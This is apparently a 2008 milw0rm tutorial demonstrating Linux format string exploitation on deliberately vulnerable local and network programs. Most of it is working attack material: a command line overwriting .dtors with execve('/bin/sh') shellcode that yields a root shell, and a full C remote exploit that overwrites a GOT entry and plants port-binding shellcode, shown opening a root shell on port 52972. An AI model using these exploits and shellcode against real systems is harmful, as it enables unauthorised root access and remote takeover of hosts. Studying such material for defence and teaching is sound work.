Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
Format String Exploitation Demonstration [LINUX]
This paper assumes you have read the proper background information and/or technical details about
the above subject. If not, please do so, because this read does not include key concepts but instead
technical exploitation examples. That being said, enjoy. Knowledge is power.
[PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL]
bugs@linux:~$ cat fmt.c
#include <stdio.h>
int main(int argc, char *argv[])
{
char buf[1024+1];
if(argc < 2) { printf("usage: %s data\n", argv[0]); return 0; }
snprintf(buf, sizeof(buf)-1, "%s", argv[1]);
printf(buf); // clearly a format string bug
printf("\n");
return 0;
}
bugs@linux:~$ gcc -o fmt fmt.c
bugs@linux:~$ ./fmt
usage: ./fmt data
bugs@linux:~$ ./fmt AAAA`perl -e 'print ".%p" x 20'`
AAAA.0x400.0x8048584.0xbffff727.(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025
bugs@linux:~$ ./fmt AAAA`perl -e 'print ".%p" x 12'`
AAAA.0x400.0x8048584.0xbffff73f.(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).0x41414141
bugs@linux:~$
*** OFFSET = 12 ***
bugs@linux:~$ nm fmt | grep DTOR
0804959c d __DTOR_END__
08049598 d __DTOR_LIST__
bugs@linux:~$
*** DTORS = 0x0804959c ***
bugs@linux:~$ gdb fmt
GNU gdb 6.5
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-linux"...Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x80483dd
(gdb) r `perl -e 'print "\x90" x 800 . "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Starting program: /home/bugs/fmt `perl -e 'print "\x90" x 800 . "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Breakpoint 1, 0x080483dd in main ()
(gdb) i r
eax 0x4015e47c 1075176572
ecx 0x0 0
edx 0xbffff2f4 -1073745164
ebx 0x4015bff0 1075167216
esp 0xbfffee80 0xbfffee80
ebp 0xbffff2a8 0xbffff2a8
esi 0xbffff300 -1073745152
edi 0x2 2
eip 0x80483dd 0x80483dd <main+9>
eflags 0x282 [ SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
(gdb) x/100x $esi+500
0xbffff4f4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff504: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff514: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff524: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff534: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff544: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff554: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff564: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff574: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff584: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff594: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5a4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5b4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5c4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5d4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5e4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5f4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff604: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff614: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff624: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff634: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff644: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff654: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff664: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff674: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb) q
The program is running. Exit anyway? (y or n) y
bugs@linux:~$
*** RETURN ADDRESS = ~0xbffffxxx (lets use 0xbffff544) ***
bugs@linux:~$ pcalc 0x44-16
52 0x34 0y110100
bugs@linux:~$ pcalc 0xf5-0x44
177 0xb1 0y10110001
bugs@linux:~$ pcalc 0x1ff-0xf5
266 0x10a 0y100001010
bugs@linux:~$ pcalc 0x1bf-0xff
192 0xc0 0y11000000
bugs@linux:~$
Now lets put it all together...
DTORS --> DTORS+1 --> DTORS+2 --> DTORS+3
\x9c\x95\x04\x08\x9d\x95\x04\x08\x9e\x95\x04\x08\x9f\x95\x04\x08
0804959c --> 0804959d --> 0804959e --> 0804959f
Write our return address (0xbffff544) and offsets
%11\$52x%12\$n%11\$177x%13\$n%11\$266x%14\$n%11\$192x%15\$n
44 offset f5 offset+1 ff offset+2 bf offset+3
Put our nops and shellcode on the stack
`perl -e 'print "\x90" x 800 . "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
NOPS + SHELLCODE
bugs@linux:~$ ./fmt `printf "\x9c\x95\x04\x08\x9d\x95\x04\x08\x9e\x95\x04\x08\x9f\x95\x04\x08"`%11\$52x%12\$n%11\$177x%13\$n%11\$266x%14\$n%11\$192x%15\$n`perl -e 'print "\x90" x 800 . "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
��� 0 0 0 0�����1�1̀1�Ph//shh/bin��PS�ᙰ
sh-3.1# id
uid=0(root) gid=100(users) groups=100(users)
sh-3.1# exit
exit
bugs@linux:~$
[PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE]
Instead of using .dtors, we will use the Global Offset Table (GOT) for remote action.
[Terminal #1]
bugs@linux:~$ cat fmtserv.c
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define BUFFSZ 1024
#define READSZ 2048
int main(int argc, char *argv[])
{
if(argc < 2) { printf("Usage: %s port\n", argv[0]); return 0; }
int z, cli, serv, port = atoi(argv[1]);
struct sockaddr_in client, server;
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = INADDR_ANY;
if((serv = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Error: socket()\n"); return -1; }
if(bind(serv, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) { printf("Error: bind()\n"); return -1; }
if(listen(serv, 10) == -1) { printf("Error: listen()\n"); return -1; }
for(;;)
{
cli = accept(serv, (struct sockaddr *)&client, &z);
if(vulnerable(cli) == -1) { printf("Error: vulnerable()\n"); close(cli); }
}
return 0;
}
int vulnerable(int sock)
{
char buffer[BUFFSZ], readbuf[READSZ];
memset(buffer, 0, BUFFSZ);
memset(readbuf, 0, READSZ);
read(sock, readbuf, READSZ, 0);
snprintf(buffer, BUFFSZ-1, readbuf); // format string vulnerability here
send(sock, buffer, BUFFSZ, 0);
close(sock);
}
bugs@linux:~$ gcc -o fmtserv fmtserv.c
bugs@linux:~$ objdump -R fmtserv
fmtserv: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049a5c R_386_GLOB_DAT __gmon_start__
08049a6c R_386_JUMP_SLOT close
08049a70 R_386_JUMP_SLOT accept
08049a74 R_386_JUMP_SLOT listen
08049a78 R_386_JUMP_SLOT __libc_start_main
08049a7c R_386_JUMP_SLOT printf
08049a80 R_386_JUMP_SLOT bind
08049a84 R_386_JUMP_SLOT snprintf // we will use this address
08049a88 R_386_JUMP_SLOT atoi
08049a8c R_386_JUMP_SLOT send
08049a90 R_386_JUMP_SLOT htons
08049a94 R_386_JUMP_SLOT memset
08049a98 R_386_JUMP_SLOT socket
08049a9c R_386_JUMP_SLOT read
bugs@linux:~$ ./fmtserv 1234
[Terminal #2]
bugs@linux:~$ nc localhost 1234
test
test
bugs@linux:~$ nc localhost 1234
AAAA%p%p%p%p%p%p%p%p%p%p
AAAA(nil)0x414141410x702570250x702570250x702570250x702570250x702570250xa(nil)(nil)
bugs@linux:~$ nc localhost 1234
AAAA%2$x
AAAA41414141
bugs@linux:~$
Our offset is 2.
[Terminal #1]
bugs@linux:~$ gdb fmtserv
GNU gdb 6.5
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-linux"...Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) r 5555
Starting program: /home/bugs/fmtserv 5555
[Terminal #2]
bugs@linux:~$ cat fmtsrvex.c
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define GOTADDR 0x08049a84 // snprintf() --> objdump -R fmtserv
#define RETADDR 0x41424344 // return address to hit nop slide + shellcode
#define OFFSET 2
#define SIZE 1024
char shellcode[] = /* Linux Portbind @ 52972 */
"\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89"
"\xe1\xcd\x80\x52\x43\x68\xff\x02\xce\xec\x89\xe1"
"\x6a\x10\x51\x50\x89\xe1\x89\xc6\xb0\x66\xcd\x80"
"\x43\x43\xb0\x66\xcd\x80\x52\x56\x89\xe1\x43\xb0"
"\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
"\x41\xe2\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
"\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(int argc, char *argv[])
{
if(argc < 3) { printf("Usage: %s host port\n", argv[0]); return 0; }
char buffer[SIZE], *host = argv[1], *got[3] = {((char *)GOTADDR + 2), ((char *)GOTADDR),};
int i, high, low, len, sock, port = atoi(argv[2]);
struct sockaddr_in target;
high = (RETADDR & 0xffff0000) >> 16;
low = (RETADDR & 0x0000ffff);
high -= 0x8;
sprintf(buffer, "%s%%.%dx%%%d$hn%%.%dx%%%d$hn", &got, high, OFFSET, (low - high) - 0x8, OFFSET + 1);
memset(buffer + strlen(buffer), '\x90', 512);
sprintf(buffer + strlen(buffer), "%s\r\n", shellcode);
len = strlen(buffer);
target.sin_family = AF_INET;
target.sin_port = htons(port);
target.sin_addr.s_addr = inet_addr(host);
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Error: socket()\n"); return -1; }
if(connect(sock, (struct sockaddr *)&target, sizeof(struct sockaddr)) == -1) { printf("Error: connect()\n"); return -1; }
send(sock, buffer, len, 0);
close(sock);
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Error: socket()\n"); return -1; }
if(connect(sock, (struct sockaddr *)&target, sizeof(struct sockaddr)) == -1) { printf("Error: connect()\n"); return -1; }
send(sock, buffer, len, 0);
close(sock);
return 0;
}
bugs@linux:~$ gcc -o fmtsrvex fmtsrvex.c
bugs@linux:~$ ./fmtsrvex
Usage: ./fmtsrvex host port
bugs@linux:~$ ./fmtsrvex 127.0.0.1 5555
bugs@linux:~$
[Terminal #1]
Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb) x/100x $esp+200
0xbfffea14: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea24: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea34: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea44: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea54: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea64: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea74: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea84: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffea94: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeaa4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeab4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeac4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffead4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeae4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeaf4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb04: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb14: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb24: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb34: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb44: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb54: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb64: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeb74: 0x90909090 0x90909090 0x90909090 0x6a58666a
0xbfffeb84: 0x52995b01 0x89026a53 0x5280cde1 0x02ff6843
0xbfffeb94: 0xe189ecce 0x5051106a 0xc689e189 0x80cd66b0
(gdb) q
The program is running. Exit anyway? (y or n) y
root@linux:~# ./fmtserv 5555
[Terminal #2]
bugs@linux:~$ grep RETADDR fmtsrvex.c
#define RETADDR 0x41424344 // return address to hit nop slide + shellcode
high = (RETADDR & 0xffff0000) >> 16;
low = (RETADDR & 0x0000ffff);
bugs@linux:~$ pico fmtsrvex.c
bugs@linux:~$ grep RETADDR fmtsrvex.c
#define RETADDR 0xbfffeaa4 // return address to hit nop slide + shellcode
high = (RETADDR & 0xffff0000) >> 16;
low = (RETADDR & 0x0000ffff);
bugs@linux:~$ gcc -o fmtsrvex fmtsrvex.c
bugs@linux:~$ netstat -antp | grep 52972
(No info could be read for "-p": geteuid()=1000 but you should be root.)
bugs@linux:~$ ./fmtsrvex 127.0.0.1 5555
bugs@linux:~$ netstat -antp | grep 52972
(No info could be read for "-p": geteuid()=1000 but you should be root.)
tcp 0 0 0.0.0.0:52972 0.0.0.0:* LISTEN -
bugs@linux:~$ nc localhost 52972
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
exit
bugs@linux:~$
Questions. Comments. Concerns. --> 0xjbrown41@gmail.com
# milw0rm.com [2008-12-01]